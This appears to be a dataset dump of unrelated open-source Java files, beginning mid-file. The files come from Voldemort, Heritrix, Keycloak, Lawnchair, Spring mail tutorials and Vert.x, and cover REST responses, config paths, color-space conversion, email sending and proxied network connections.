VectorClock vectorClock = (VectorClock) versionedValue.getVersion(); String eTag = RestUtils.getSerializedVectorClock(vectorClock); numVectorClockEntries += vectorClock.getVersionMap().size(); // Create the individual body part for each versioned value of the // requested key MimeBodyPart body = new MimeBodyPart(); try { // Add the right headers body.addHeader(CONTENT_TYPE, "application/octet-stream"); body.addHeader(CONTENT_TRANSFER_ENCODING, "binary"); body.addHeader(RestMessageHeaders.X_VOLD_VECTOR_CLOCK, eTag); body.setContent(responseValue, "application/octet-stream"); body.addHeader(RestMessageHeaders.CONTENT_LENGTH, Integer.toString(responseValue.length)); multiPart.addBodyPart(body); } catch(MessagingException me) { logger.error("Exception while constructing body part", me); outputStream.close(); throw me; } } message.setContent(multiPart); message.saveChanges(); try { multiPart.writeTo(outputStream); } catch(Exception e) { logger.error("Exception while writing multipart to output stream", e); outputStream.close(); throw e; } ChannelBuffer responseContent = ChannelBuffers.dynamicBuffer(); responseContent.writeBytes(outputStream.toByteArray()); // Create the Response object HttpResponse response = new DefaultHttpResponse(HTTP_1_1, OK); // Set the right headers response.setHeader(CONTENT_TYPE, "multipart/binary"); response.setHeader(CONTENT_TRANSFER_ENCODING, "binary"); response.setHeader(CONTENT_LOCATION, contentLocationKey); // Copy the data into the payload response.setContent(responseContent); response.setHeader(CONTENT_LENGTH, response.getContent().readableBytes()); // Write the response to the Netty Channel if(logger.isDebugEnabled()) { String keyStr = RestUtils.getKeyHexString(this.key); debugLog("GET", this.storeName, keyStr, startTimeInMs, System.currentTimeMillis(), numVectorClockEntries); } this.messageEvent.getChannel().write(response); if(performanceStats != null && isFromLocalZone) { recordStats(performanceStats, startTimeInMs, Tracked.GET); } outputStream.close(); } }
voldemort/voldemort
src/java/voldemort/rest/GetResponseSender.java
41,080
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util; import java.util.Iterator; /** * Make an Iterator usable as an Iterable (and thus enable new-style * for-each loops). * */ public class Iteratorable<K> implements Iterable<K> { protected Iterator<K> iterator; public Iteratorable(Iterator<K> iterator) { this.iterator = iterator; } public Iterator<K> iterator() { return iterator; } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/Iteratorable.java
41,081
/* This file is part of the Heritrix web crawler (crawler.archive.org). * * Heritrix is free software! * * Copyright 2008, Internet Archive Heritrix Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * $Header$ */ package org.archive.spring; import java.io.File; import java.io.Serializable; /* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import org.springframework.beans.factory.annotation.Required; /** * A filesystem path, as a bean, for the convenience of configuration * via srping beans.xml or user interfaces to same. * * Adds an optional relative-to base path and symbolic handle. * * See also ConfigPath */ public class ConfigPath implements Serializable { private static final long serialVersionUID = 1L; protected String name; protected String path; protected ConfigPath base; public ConfigPath() { super(); } public ConfigPath(String name, String path) { super(); this.name = name; this.path = path; } public ConfigPath getBase() { return base; } public void setBase(ConfigPath base) { this.base = base; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPath() { return path; } @Required public void setPath(String path) { this.path = path; } public File getFile() { String interpolatedPath; if (configurer != null) { interpolatedPath = configurer.interpolate(path); } else { interpolatedPath = path; } return base == null || interpolatedPath.startsWith("/") ? new File(interpolatedPath) : new File(base.getFile(), interpolatedPath); } /** * To maintain ConfigPath's 'base' and object-identity, this merge * should be used to updated ConfigPath properties in other beans, * rather than discarding the old value. * * @param newvals ConfigPath to merge into this one * @return this */ public ConfigPath merge(ConfigPath newvals) { if(newvals.name!=null) { setName(newvals.getName()); } if(newvals.path!=null) { setPath(newvals.getPath()); } return this; } protected ConfigPathConfigurer configurer; public void setConfigurer(ConfigPathConfigurer configPathConfigurer) { this.configurer = configPathConfigurer; } }
internetarchive/heritrix3
commons/src/main/java/org/archive/spring/ConfigPath.java
41,082
/* * Copyright 2016 Red Hat, Inc. and/or its affiliates * and other contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.keycloak.services.resources; import io.smallrye.common.annotation.NonBlocking; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.Produces; import jakarta.ws.rs.core.Context; import jakarta.ws.rs.core.Response; import jakarta.ws.rs.ext.Provider; import org.jboss.logging.Logger; import org.keycloak.health.LoadBalancerCheckProvider; import org.keycloak.models.KeycloakSession; import org.keycloak.utils.MediaType; import java.util.Set; /** * Prepare information for the load balancer (possibly in a multi-site setup) whether this Keycloak cluster should receive traffic. * <p> * This is non-blocking, so that the load balancer can still retrieve the status even if the Keycloak instance is * trying to withstand a high load. See {@link LoadBalancerCheckProvider#isDown()} for a longer explanation. * * @author <a href="mailto:[email protected]">Alexander Schwartz</a> */ @Provider @Path("/lb-check") @NonBlocking public class LoadBalancerResource { protected static final Logger logger = Logger.getLogger(LoadBalancerResource.class); @Context KeycloakSession session; /** * Return the status for a load balancer in a multi-site setup if this Keycloak site should receive traffic. * <p /> * While a loadbalancer will usually check for the returned status code, the additional text <code>UP</code> or <code>DOWN</down> * is returned for humans to see the status in the browser. * <p /> * In contrast to other management endpoints of Quarkus, no information is returned to the caller about the internal state of Keycloak * as this endpoint might be publicly available from the internet and should return as little information as possible. * * @return HTTP status 503 and DOWN when down, and HTTP status 200 and UP when up. */ @GET @Produces(MediaType.TEXT_PLAIN_UTF_8) public Response getStatusForLoadBalancer() { Set<LoadBalancerCheckProvider> healthStatusProviders = session.getAllProviders(LoadBalancerCheckProvider.class); if (healthStatusProviders.stream().anyMatch(LoadBalancerCheckProvider::isDown)) { return Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("DOWN").build(); } else { return Response.ok().entity("UP").build(); } } }
keycloak/keycloak
services/src/main/java/org/keycloak/services/resources/LoadBalancerResource.java
41,083
/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.androidinternal.graphics.cam; import android.graphics.Color; import androidx.annotation.NonNull; import androidx.core.graphics.ColorUtils; /** * Collection of methods for transforming between color spaces. * * <p>Methods are named $xFrom$Y. For example, lstarFromInt() returns L* from an ARGB integer. * * <p>These methods, generally, convert colors between the L*a*b*, XYZ, and sRGB spaces. * * <p>L*a*b* is a perceptually accurate color space. This is particularly important in the L* * dimension: it measures luminance and unlike lightness measures traditionally used in UI work via * RGB or HSL, this luminance transitions smoothly, permitting creation of pleasing shades of a * color, and more pleasing transitions between colors. * * <p>XYZ is commonly used as an intermediate color space for converting between one color space to * another. For example, to convert RGB to L*a*b*, first RGB is converted to XYZ, then XYZ is * convered to L*a*b*. * * <p>sRGB is a "specification originated from work in 1990s through cooperation by Hewlett-Packard * and Microsoft, and it was designed to be a standard definition of RGB for the internet, which it * indeed became...The standard is based on a sampling of computer monitors at the time...The whole * idea of sRGB is that if everyone assumed that RGB meant the same thing, then the results would be * consistent, and reasonably good. It worked." - Fairchild, Color Models and Systems: Handbook of * Color Psychology, 2015 */ public final class CamUtils { private CamUtils() { } // Transforms XYZ color space coordinates to 'cone'/'RGB' responses in CAM16. static final float[][] XYZ_TO_CAM16RGB = { {0.401288f, 0.650173f, -0.051461f}, {-0.250268f, 1.204414f, 0.045854f}, {-0.002079f, 0.048952f, 0.953127f} }; // Transforms 'cone'/'RGB' responses in CAM16 to XYZ color space coordinates. static final float[][] CAM16RGB_TO_XYZ = { {1.86206786f, -1.01125463f, 0.14918677f}, {0.38752654f, 0.62144744f, -0.00897398f}, {-0.01584150f, -0.03412294f, 1.04996444f} }; // Need this, XYZ coordinates in internal ColorUtils are private // sRGB specification has D65 whitepoint - Stokes, Anderson, Chandrasekar, Motta - A Standard // Default Color Space for the Internet: sRGB, 1996 static final float[] WHITE_POINT_D65 = {95.047f, 100.0f, 108.883f}; // This is a more precise sRGB to XYZ transformation matrix than traditionally // used. It was derived using Schlomer's technique of transforming the xyY // primaries to XYZ, then applying a correction to ensure mapping from sRGB // 1, 1, 1 to the reference white point, D65. static final float[][] SRGB_TO_XYZ = { {0.41233895f, 0.35762064f, 0.18051042f}, {0.2126f, 0.7152f, 0.0722f}, {0.01932141f, 0.11916382f, 0.95034478f} }; static int intFromLstar(float lstar) { if (lstar < 1) { return 0xff000000; } else if (lstar > 99) { return 0xffffffff; } // XYZ to LAB conversion routine, assume a and b are 0. float fy = (lstar + 16.0f) / 116.0f; // fz = fx = fy because a and b are 0 float fz = fy; float fx = fy; float kappa = 24389f / 27f; float epsilon = 216f / 24389f; boolean lExceedsEpsilonKappa = (lstar > 8.0f); float yT = lExceedsEpsilonKappa ? fy * fy * fy : lstar / kappa; boolean cubeExceedEpsilon = (fy * fy * fy) > epsilon; float xT = cubeExceedEpsilon ? fx * fx * fx : (116f * fx - 16f) / kappa; float zT = cubeExceedEpsilon ? fz * fz * fz : (116f * fx - 16f) / kappa; return ColorUtils.XYZToColor(xT * CamUtils.WHITE_POINT_D65[0], yT * CamUtils.WHITE_POINT_D65[1], zT * CamUtils.WHITE_POINT_D65[2]); } /** Returns L* from L*a*b*, perceptual luminance, from an ARGB integer (ColorInt). */ public static float lstarFromInt(int argb) { return lstarFromY(yFromInt(argb)); } static float lstarFromY(float y) { y = y / 100.0f; final float e = 216.f / 24389.f; float yIntermediate; if (y <= e) { return ((24389.f / 27.f) * y); } else { yIntermediate = (float) Math.cbrt(y); } return 116.f * yIntermediate - 16.f; } static float yFromInt(int argb) { final float r = linearized(Color.red(argb)); final float g = linearized(Color.green(argb)); final float b = linearized(Color.blue(argb)); float[][] matrix = SRGB_TO_XYZ; float y = (r * matrix[1][0]) + (g * matrix[1][1]) + (b * matrix[1][2]); return y; } @NonNull static float[] xyzFromInt(int argb) { final float r = linearized(Color.red(argb)); final float g = linearized(Color.green(argb)); final float b = linearized(Color.blue(argb)); float[][] matrix = SRGB_TO_XYZ; float x = (r * matrix[0][0]) + (g * matrix[0][1]) + (b * matrix[0][2]); float y = (r * matrix[1][0]) + (g * matrix[1][1]) + (b * matrix[1][2]); float z = (r * matrix[2][0]) + (g * matrix[2][1]) + (b * matrix[2][2]); return new float[]{x, y, z}; } static float yFromLstar(float lstar) { float ke = 8.0f; if (lstar > ke) { return (float) Math.pow(((lstar + 16.0) / 116.0), 3) * 100f; } else { return lstar / (24389f / 27f) * 100f; } } static float linearized(int rgbComponent) { float normalized = (float) rgbComponent / 255.0f; if (normalized <= 0.04045f) { return (normalized / 12.92f) * 100.0f; } else { return (float) Math.pow(((normalized + 0.055f) / 1.055f), 2.4f) * 100.0f; } } }
LawnchairLauncher/lawnchair
lawnchair/src/com/androidinternal/graphics/cam/CamUtils.java
41,084
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.net; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.ByteBuffer; import org.apache.commons.httpclient.URIException; import org.archive.url.UsableURI; import com.esotericsoftware.kryo.CustomSerialization; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.serialize.StringSerializer; /** * Usable URI. The bulk of the functionality of this class has moved to * {@link UsableURI} in the archive-commons project. This class adds Kryo * serialization. */ public class UURI extends UsableURI implements CustomSerialization { private static final long serialVersionUID = -8946640480772772310L; public UURI(String fixup, boolean b, String charset) throws URIException { super(fixup, b, charset); } public UURI(UsableURI base, UsableURI relative) throws URIException { super(base, relative); } /* needed for kryo serialization */ protected UURI() { super(); } @Override public void writeObjectData(Kryo kryo, ByteBuffer buffer) { StringSerializer.put(buffer, toCustomString()); } @Override public void readObjectData(Kryo kryo, ByteBuffer buffer) { try { parseUriReference(StringSerializer.get(buffer), true); } catch (URIException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private void writeObject(ObjectOutputStream stream) throws IOException { stream.writeUTF(toCustomString()); } private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { parseUriReference(stream.readUTF(), true); } }
internetarchive/heritrix3
commons/src/main/java/org/archive/net/UURI.java
41,085
package com.gateway.service; import com.gateway.domain.User; import io.github.jhipster.config.JHipsterProperties; import org.apache.commons.lang3.CharEncoding; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.context.MessageSource; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Service; import org.thymeleaf.context.Context; import org.thymeleaf.spring4.SpringTemplateEngine; import javax.mail.internet.MimeMessage; import java.util.Locale; /** * Service for sending e-mails. * <p> * We use the @Async annotation to send e-mails asynchronously. * </p> */ @Service public class MailService { private final Logger log = LoggerFactory.getLogger(MailService.class); private static final String USER = "user"; private static final String BASE_URL = "baseUrl"; private final JHipsterProperties jHipsterProperties; private final JavaMailSender javaMailSender; private final MessageSource messageSource; private final SpringTemplateEngine templateEngine; public MailService(JHipsterProperties jHipsterProperties, JavaMailSender javaMailSender, MessageSource messageSource, SpringTemplateEngine templateEngine) { this.jHipsterProperties = jHipsterProperties; this.javaMailSender = javaMailSender; this.messageSource = messageSource; this.templateEngine = templateEngine; } @Async public void sendEmail(String to, String subject, String content, boolean isMultipart, boolean isHtml) { log.debug("Send e-mail[multipart '{}' and html '{}'] to '{}' with subject '{}' and content={}", isMultipart, isHtml, to, subject, content); // Prepare message using a Spring helper MimeMessage mimeMessage = javaMailSender.createMimeMessage(); try { MimeMessageHelper message = new MimeMessageHelper(mimeMessage, isMultipart, CharEncoding.UTF_8); message.setTo(to); message.setFrom(jHipsterProperties.getMail().getFrom()); message.setSubject(subject); message.setText(content, isHtml); javaMailSender.send(mimeMessage); log.debug("Sent e-mail to User '{}'", to); } catch (Exception e) { log.warn("E-mail could not be sent to user '{}'", to, e); } } @Async public void sendActivationEmail(User user) { log.debug("Sending activation e-mail to '{}'", user.getEmail()); Locale locale = Locale.forLanguageTag(user.getLangKey()); Context context = new Context(locale); context.setVariable(USER, user); context.setVariable(BASE_URL, jHipsterProperties.getMail().getBaseUrl()); String content = templateEngine.process("activationEmail", context); String subject = messageSource.getMessage("email.activation.title", null, locale); sendEmail(user.getEmail(), subject, content, false, true); } @Async public void sendCreationEmail(User user) { log.debug("Sending creation e-mail to '{}'", user.getEmail()); Locale locale = Locale.forLanguageTag(user.getLangKey()); Context context = new Context(locale); context.setVariable(USER, user); context.setVariable(BASE_URL, jHipsterProperties.getMail().getBaseUrl()); String content = templateEngine.process("creationEmail", context); String subject = messageSource.getMessage("email.activation.title", null, locale); sendEmail(user.getEmail(), subject, content, false, true); } @Async public void sendPasswordResetMail(User user) { log.debug("Sending password reset e-mail to '{}'", user.getEmail()); Locale locale = Locale.forLanguageTag(user.getLangKey()); Context context = new Context(locale); context.setVariable(USER, user); context.setVariable(BASE_URL, jHipsterProperties.getMail().getBaseUrl()); String content = templateEngine.process("passwordResetEmail", context); String subject = messageSource.getMessage("email.reset.title", null, locale); sendEmail(user.getEmail(), subject, content, false, true); } }
eugenp/tutorials
jhipster-modules/jhipster-microservice/gateway-app/src/main/java/com/gateway/service/MailService.java
41,086
package com.baeldung.spring.mail; import java.io.File; import java.io.IOException; import java.util.Map; import jakarta.mail.MessagingException; import jakarta.mail.internet.MimeMessage; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.FileSystemResource; import org.springframework.core.io.Resource; import org.springframework.mail.MailException; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Service; import org.springframework.ui.freemarker.FreeMarkerTemplateUtils; import org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer; import org.thymeleaf.context.Context; import org.thymeleaf.spring5.SpringTemplateEngine; import freemarker.template.Template; import freemarker.template.TemplateException; /** * Created by Olga on 7/15/2016. */ @Service("EmailService") public class EmailServiceImpl implements EmailService { private static final String NOREPLY_ADDRESS = "[email protected]"; @Autowired private JavaMailSender emailSender; @Autowired private SimpleMailMessage template; @Autowired private SpringTemplateEngine thymeleafTemplateEngine; @Autowired private FreeMarkerConfigurer freemarkerConfigurer; @Value("classpath:/mail-logo.png") private Resource resourceFile; public void sendSimpleMessage(String to, String subject, String text) { try { SimpleMailMessage message = new SimpleMailMessage(); message.setFrom(NOREPLY_ADDRESS); message.setTo(to); message.setSubject(subject); message.setText(text); emailSender.send(message); } catch (MailException exception) { exception.printStackTrace(); } } @Override public void sendSimpleMessageUsingTemplate(String to, String subject, String ...templateModel) { String text = String.format(template.getText(), templateModel); sendSimpleMessage(to, subject, text); } @Override public void sendMessageWithAttachment(String to, String subject, String text, String pathToAttachment) { try { MimeMessage message = emailSender.createMimeMessage(); // pass 'true' to the constructor to create a multipart message MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(NOREPLY_ADDRESS); helper.setTo(to); helper.setSubject(subject); helper.setText(text); FileSystemResource file = new FileSystemResource(new File(pathToAttachment)); helper.addAttachment("Invoice", file); emailSender.send(message); } catch (MessagingException e) { e.printStackTrace(); } } @Override public void sendMessageUsingThymeleafTemplate( String to, String subject, Map<String, Object> templateModel) throws MessagingException { Context thymeleafContext = new Context(); thymeleafContext.setVariables(templateModel); String htmlBody = thymeleafTemplateEngine.process("template-thymeleaf.html", thymeleafContext); sendHtmlMessage(to, subject, htmlBody); } @Override public void sendMessageUsingFreemarkerTemplate( String to, String subject, Map<String, Object> templateModel) throws IOException, TemplateException, MessagingException { Template freemarkerTemplate = freemarkerConfigurer.getConfiguration().getTemplate("template-freemarker.ftl"); String htmlBody = FreeMarkerTemplateUtils.processTemplateIntoString(freemarkerTemplate, templateModel); sendHtmlMessage(to, subject, htmlBody); } private void sendHtmlMessage(String to, String subject, String htmlBody) throws MessagingException { MimeMessage message = emailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true, "UTF-8"); helper.setFrom(NOREPLY_ADDRESS); helper.setTo(to); helper.setSubject(subject); helper.setText(htmlBody, true); helper.addInline("attachment.png", resourceFile); emailSender.send(message); } }
eugenp/tutorials
spring-web-modules/spring-mvc-basics-2/src/main/java/com/baeldung/spring/mail/EmailServiceImpl.java
41,087
/* * Copyright 2024 Red Hat, Inc. and/or its affiliates * and other contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.keycloak.models.jpa.entities; import jakarta.persistence.Column; import jakarta.persistence.Entity; import jakarta.persistence.FetchType; import jakarta.persistence.Id; import jakarta.persistence.JoinColumn; import jakarta.persistence.ManyToOne; import jakarta.persistence.NamedQueries; import jakarta.persistence.NamedQuery; import jakarta.persistence.Table; /** * JPA entity representing an internet domain that can be associated with an organization. * * @author <a href="mailto:[email protected]">Stefan Guilhen</a> */ @Entity @Table(name="ORG_DOMAIN") @NamedQueries({ @NamedQuery(name="getByName", query="select o from OrganizationDomainEntity o where o.name = :name") }) public class OrganizationDomainEntity { @Id @Column(name="NAME") protected String name; @Column(name="VERIFIED") protected Boolean verified; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "ORG_ID") private OrganizationEntity organization; public String getName() { return this.name; } public void setName(String name) { this.name = name; } public Boolean isVerified() { return this.verified; } public void setVerified(Boolean verified) { this.verified = verified; } public OrganizationEntity getOrganization() { return this.organization; } public void setOrganization(OrganizationEntity organization) { this.organization = organization; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null) return false; if (!(o instanceof OrganizationDomainEntity)) return false; OrganizationDomainEntity that = (OrganizationDomainEntity) o; return name != null && name.equals(that.getName()); } @Override public int hashCode() { if (name == null) { return super.hashCode(); } return name.hashCode(); } }
keycloak/keycloak
model/jpa/src/main/java/org/keycloak/models/jpa/entities/OrganizationDomainEntity.java
41,088
/* * Copyright (c) 2011-2019 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https://www.apache.org/licenses/LICENSE-2.0. * * SPDX-License-Identifier: EPL-2.0 OR Apache-2.0 */ package io.vertx.core.net.impl; import io.netty.bootstrap.Bootstrap; import io.netty.channel.*; import io.netty.handler.proxy.*; import io.netty.handler.ssl.SslHandler; import io.netty.handler.ssl.SslHandshakeCompletionEvent; import io.netty.resolver.NoopAddressResolverGroup; import io.netty.util.concurrent.Future; import io.netty.util.concurrent.Promise; import io.vertx.core.Handler; import io.vertx.core.impl.ContextInternal; import io.vertx.core.impl.VertxInternal; import io.vertx.core.net.ClientSSLOptions; import io.vertx.core.net.ProxyOptions; import io.vertx.core.net.ProxyType; import io.vertx.core.net.SocketAddress; import javax.net.ssl.SSLHandshakeException; import java.net.InetAddress; import java.net.InetSocketAddress; /** * The logic for connecting to an host, this implementations performs a connection * to the host after resolving its internet address. * * See if we can replace that by a Netty handler sometimes. * * @author <a href="mailto:[email protected]">Julien Viet</a> */ public final class ChannelProvider { private final Bootstrap bootstrap; private final SslChannelProvider sslContextProvider; private final ContextInternal context; private ProxyOptions proxyOptions; private String applicationProtocol; private Handler<Channel> handler; public ChannelProvider(Bootstrap bootstrap, SslChannelProvider sslContextProvider, ContextInternal context) { this.bootstrap = bootstrap; this.context = context; this.sslContextProvider = sslContextProvider; } /** * Set the proxy options to use. * * @param proxyOptions the proxy options to use * @return fluently this */ public ChannelProvider proxyOptions(ProxyOptions proxyOptions) { this.proxyOptions = proxyOptions; return this; } /** * Set a handler called when the channel has been established. * * @param handler the channel handler * @return fluently this */ public ChannelProvider handler(Handler<Channel> handler) { this.handler = handler; return this; } /** * @return the application protocol resulting from the ALPN negotiation */ public String applicationProtocol() { return applicationProtocol; } public Future<Channel> connect(SocketAddress remoteAddress, SocketAddress peerAddress, String serverName, boolean ssl, ClientSSLOptions sslOptions) { Promise<Channel> p = context.nettyEventLoop().newPromise(); connect(handler, remoteAddress, peerAddress, serverName, ssl, sslOptions, p); return p; } private void connect(Handler<Channel> handler, SocketAddress remoteAddress, SocketAddress peerAddress, String serverName, boolean ssl, ClientSSLOptions sslOptions, Promise<Channel> p) { try { bootstrap.channelFactory(context.owner().transport().channelFactory(remoteAddress.isDomainSocket())); } catch (Exception e) { p.setFailure(e); return; } if (proxyOptions != null) { handleProxyConnect(handler, remoteAddress, peerAddress, serverName, ssl, sslOptions, p); } else { handleConnect(handler, remoteAddress, peerAddress, serverName, ssl, sslOptions, p); } } private void initSSL(Handler<Channel> handler, SocketAddress peerAddress, String serverName, boolean ssl, ClientSSLOptions sslOptions, Channel ch, Promise<Channel> channelHandler) { if (ssl) { SslHandler sslHandler = sslContextProvider.createClientSslHandler(peerAddress, serverName, sslOptions.isUseAlpn(), sslOptions.getSslHandshakeTimeout(), sslOptions.getSslHandshakeTimeoutUnit()); ChannelPipeline pipeline = ch.pipeline(); pipeline.addLast("ssl", sslHandler); pipeline.addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof SslHandshakeCompletionEvent) { // Notify application SslHandshakeCompletionEvent completion = (SslHandshakeCompletionEvent) evt; if (completion.isSuccess()) { // Remove from the pipeline after handshake result ctx.pipeline().remove(this); applicationProtocol = sslHandler.applicationProtocol(); if (handler != null) { context.dispatch(ch, handler); } channelHandler.setSuccess(ctx.channel()); } else { SSLHandshakeException sslException = new SSLHandshakeException("Failed to create SSL connection"); sslException.initCause(completion.cause()); channelHandler.setFailure(sslException); } } ctx.fireUserEventTriggered(evt); } @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { // Ignore these exception as they will be reported to the handler } }); } } private void handleConnect(Handler<Channel> handler, SocketAddress remoteAddress, SocketAddress peerAddress, String serverName, boolean ssl, ClientSSLOptions sslOptions, Promise<Channel> channelHandler) { VertxInternal vertx = context.owner(); bootstrap.resolver(vertx.nettyAddressResolverGroup()); bootstrap.handler(new ChannelInitializer<Channel>() { @Override protected void initChannel(Channel ch) { initSSL(handler, peerAddress, serverName, ssl, sslOptions, ch, channelHandler); } }); ChannelFuture fut = bootstrap.connect(vertx.transport().convert(remoteAddress)); fut.addListener(res -> { if (res.isSuccess()) { connected(handler, fut.channel(), ssl, channelHandler); } else { channelHandler.setFailure(res.cause()); } }); } /** * Signal we are connected to the remote server. * * @param channel the channel * @param channelHandler the channel handler */ private void connected(Handler<Channel> handler, Channel channel, boolean ssl, Promise<Channel> channelHandler) { if (!ssl) { // No handshake if (handler != null) { context.dispatch(channel, handler); } channelHandler.setSuccess(channel); } } /** * A channel provider that connects via a Proxy : HTTP or SOCKS */ private void handleProxyConnect(Handler<Channel> handler, SocketAddress remoteAddress, SocketAddress peerAddress, String serverName, boolean ssl, ClientSSLOptions sslOptions, Promise<Channel> channelHandler) { final VertxInternal vertx = context.owner(); final String proxyHost = proxyOptions.getHost(); final int proxyPort = proxyOptions.getPort(); final String proxyUsername = proxyOptions.getUsername(); final String proxyPassword = proxyOptions.getPassword(); final ProxyType proxyType = proxyOptions.getType(); vertx.resolveAddress(proxyHost).onComplete(dnsRes -> { if (dnsRes.succeeded()) { InetAddress address = dnsRes.result(); InetSocketAddress proxyAddr = new InetSocketAddress(address, proxyPort); ProxyHandler proxy; switch (proxyType) { default: case HTTP: proxy = proxyUsername != null && proxyPassword != null ? new HttpProxyHandler(proxyAddr, proxyUsername, proxyPassword) : new HttpProxyHandler(proxyAddr); break; case SOCKS5: proxy = proxyUsername != null && proxyPassword != null ? new Socks5ProxyHandler(proxyAddr, proxyUsername, proxyPassword) : new Socks5ProxyHandler(proxyAddr); break; case SOCKS4: // SOCKS4 only supports a username and could authenticate the user via Ident proxy = proxyUsername != null ? new Socks4ProxyHandler(proxyAddr, proxyUsername) : new Socks4ProxyHandler(proxyAddr); break; } bootstrap.resolver(NoopAddressResolverGroup.INSTANCE); java.net.SocketAddress targetAddress = vertx.transport().convert(remoteAddress); bootstrap.handler(new ChannelInitializer<Channel>() { @Override protected void initChannel(Channel ch) throws Exception { ChannelPipeline pipeline = ch.pipeline(); pipeline.addFirst("proxy", proxy); pipeline.addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof ProxyConnectionEvent) { pipeline.remove(proxy); pipeline.remove(this); initSSL(handler, peerAddress, serverName, ssl, sslOptions, ch, channelHandler); connected(handler, ch, ssl, channelHandler); } ctx.fireUserEventTriggered(evt); } @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { channelHandler.setFailure(cause); } }); } }); ChannelFuture future = bootstrap.connect(targetAddress); future.addListener(res -> { if (!res.isSuccess()) { channelHandler.setFailure(res.cause()); } }); } else { channelHandler.setFailure(dnsRes.cause()); } }); } }
eclipse-vertx/vert.x
src/main/java/io/vertx/core/net/impl/ChannelProvider.java
41,089
